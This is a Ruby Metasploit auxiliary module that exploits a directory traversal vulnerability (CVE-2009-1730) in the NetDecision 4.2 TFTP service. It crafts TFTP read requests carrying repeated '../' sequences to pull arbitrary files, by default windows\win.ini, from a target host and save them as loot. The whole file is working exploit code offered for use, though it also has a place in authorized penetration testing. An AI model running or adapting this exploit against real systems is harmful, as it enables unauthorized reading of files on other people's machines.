NetDecision 4.2 TFTP Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => "NetDecision 4.2 TFTP Directory Traversal",
      'Description'    => %q{
          This modules exploits a directory traversal vulnerability in NetDecision 4.2
        TFTP service.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Rob Kraus', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2009-1730'],
          ['OSVDB', '54607'],
          ['BID', '35002']
        ],
      'DisclosureDate' => '2009-05-16'
    ))

    register_options(
      [
        Opt::RPORT(69),
        OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
        OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),
      ])
  end

  def run_host(ip)


    # Configure how deep we want to traverse
    depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    # Prepare the filename
    file_name = "../" * depth
    file_name << datastore['FILENAME']

    # Prepare the packet
    pkt = "\x00\x01"
    pkt << file_name
    pkt << "\x00"
    pkt << "octet"
    pkt << "\x00"

    # We need to reuse the same port in order to receive the data
    udp_sock = Rex::Socket::Udp.create(
      {
        'Context' => {'Msf' => framework, 'MsfExploit'=>self}
      }
    )

    add_socket(udp_sock)

    # Send the packet to target
    file_data = ''
    udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)

    while (r = udp_sock.recvfrom(65535, 0.1) and r[1])

      opcode, block, data = r[0].unpack("nna*") # Parse reply
      if opcode != 3 # Check opcode: 3 => Data Packet
        print_error("Error retrieving file #{file_name} from #{ip}")
        return
      end
      file_data << data
      udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack

    end

    if file_data.empty?
        print_error("Error retrieving file #{file_name} from #{ip}")
        return
    end

    udp_sock.close

    # Output file if verbose
    vprint_line(file_data.to_s)

    # Save file to disk
    path = store_loot(
      'netdecision.tftp',
      'application/octet-stream',
      ip,
      file_data,
      datastore['FILENAME']
    )

    print_status("File saved in: #{path}")
  end

  #
  # Returns an Acknowledgement
  #
  def tftp_ack(block=1)

    pkt = "\x00\x04" # Ack
    pkt << [block].pack("n") # Block Id

  end
end